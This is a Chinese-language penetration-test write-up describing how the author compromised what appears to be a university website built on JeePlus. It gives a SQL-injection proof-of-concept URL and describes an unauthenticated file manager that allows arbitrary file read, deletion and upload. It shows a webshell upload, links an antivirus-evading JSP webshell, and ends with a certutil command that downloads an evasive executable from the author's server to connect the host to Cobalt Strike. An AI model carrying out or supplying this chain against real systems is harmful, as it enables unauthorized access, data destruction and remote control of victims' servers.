0x01 前言
碰到了一个对外宣传是否安全的站点,但实际测试下来并不安全。不过在这次获取权限的过程中还是有点曲折,记录下来并分享给大家。
1. 进入
2. 寻找上传点
进来后找到一处文件上传的地方进行测试
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274760-2.png)
前端对上传的文件类型做了初步校验,这里我们上传一个空文本后抓包
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274762-3.png)
发现路径可以被操控,而且返回了绝对路径。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274763-4.png)
尝试访问后发现不能被解析只能下载。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274765-5.png)
再次寻找上传点,发现有头像上传的地方。这种上传点一般都能被解析。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274767-6.png)
上传正常图片
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274768-7.png)
返回了上传成功的提示,但没发现返回的地址。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274769-8.png)
而后在个人资料出发现了图片地址
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274770-9.png)
我们再次尝试构造请求报文重发,这里直接将后缀改成 jsp 上传成功
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274772-10.png)
刷新个人信息,找到访问链接。发现仍然是只能下载。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274774-11.png)
3. 突破口
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274775-12.png)
我在 Cookie 中发现 jeeplus 的字眼,尝试搜索 getshell 方法
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274776-13.png)
发现早已有前辈做过代码审计。
1)SQL注入
/a/sys/register/registerUser?roleName=wangba&mobile=13300990099\*&randomCode=2131&loginName=test1&password=123123&confirmNewPassword=123123&ck1=on&randomCode=2131&loginName=test1&password=123123&confirmNewPassword=123123&ck1=on
更具已有的 poc 进行尝试 sqlmap 跑起来,*号的地方是注入点。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274778-14.png)
通过 sqlmap 跑出来是 oracle 数据库。尝试一些查询和提权无果放弃。注意,oracle 注入的 sql shell 只能做查询语句。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274779-15.png)
2)文件管理
直接访问 https://xxx.edu.cn/a/sys/file 就能越权进入到文件管理页面
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274780-16.png)
这个目录下面的文件都只能下载,我们对这里的文件上传、删除、下载都做了测试。
a. 任意文件读取
下载接口可以返回文件内容,存在任意文件读取。
b.任意文件删除
这里甚至可以直接删除文件夹
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274784-19.png)
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274786-20.png)
c. 任意文件上传
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274788-21.png)
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274790-22.png)
这里可以自定义上传路径,如果路径不存在则创建目录并上传。
3)尝试上传文件到可解析目录
我第一时间想到上传到 static 目录,因为这个目录是可以被直接访问的。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274792-23.png)
然后尝试访问仍然是 404。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274795-24.png)
这里就是我没有找到真确的路径。想去官网直接下载源码,点击下载后回要求注册,注册之后也没有发现哪里有下载源码的地方。
没办法就去凌风云网盘搜了一下,发现存在历史的版本,我感觉差异应该不会那么大。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274800-26.png)
挑了一个比较大文件的下载,解压后可以查看目录结构。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274802-27.png)
看到有存放配置文件的地方,我想看看能不能通过读取配置来找到绝对路径。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274805-28.png)
结果还是路径不对。一番尝试后无果,突然想起来站点的目录还没扫过,直接 dirsearch 来一波。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274807-29.png)
当我看到扫出来 web.xml 这些配置文件我就知道有戏了。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274810-30.png)
在 web.xml 中没有发现东西,但是在 conf/server.xml 发现了站点的另一个路径,我觉得这就是前端访问的路径。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274811-31.png)
通过任意文件接口尝试构造路径 C:\tomcat\webapps\xxxx\WEB-INF\web.xml 发现有内容返回说明我找对了路径,然后发现了 404.jsp 存放的路径,对比我们之前拿到的源码发现我们成功找对了路径——上传文件到 webpage 这个目录绝对能解析。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274813-32.png)
尝试直接上传 webshell。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274815-33.png)
发现文件真实存在,但是没有返回东西,我用任意文件读取查看。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274817-34.png)
4)免杀绕过WD检测
发现可能存在waf,但我后面对waf做了识别发现是 apache generic,这个不至于拦截我传的。再用 nmap 对机器做识别发现是 window10,让我想起了被 windows Defender支配的恐惧,不过这里我们找个命令免杀马子上传即可,找了一番之后用了以前 hw 碰到的一个马子。
https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/jsp/Runtime-reflect-cmd.jsp
5)上线 CS
成功上传并执行命令,原本想通过 powershell 上线,但是尝试过不同的命令包括免杀命令都不行。
然后我通过远程下载我的免杀马子上线 CS
certutil -urlcache -split -f http://VPS/免杀马子.exe
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653274758-36.png)
成功上线。
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653275379-37.png)
代理出来之后进入桌面,发现果然开启了 WD
![](http://www.sins7.cn/wp-content/uploads/2022/05/1653275380-38.png)
上机之后才知道,原来管理员把上传文件夹路径放到F盘,主体是C盘,估计就是怕内存不够吧。
0x03 总结
碰到没有思路的站点就做好信息收集扩大攻击面。指纹识别、端口扫描、路径扫描都是老生常谈的了,这次还结合了公网网盘信息泄露的点,不然我还得继续猜路径。还有一点需要注意的是,测试的前提是取得相关授权。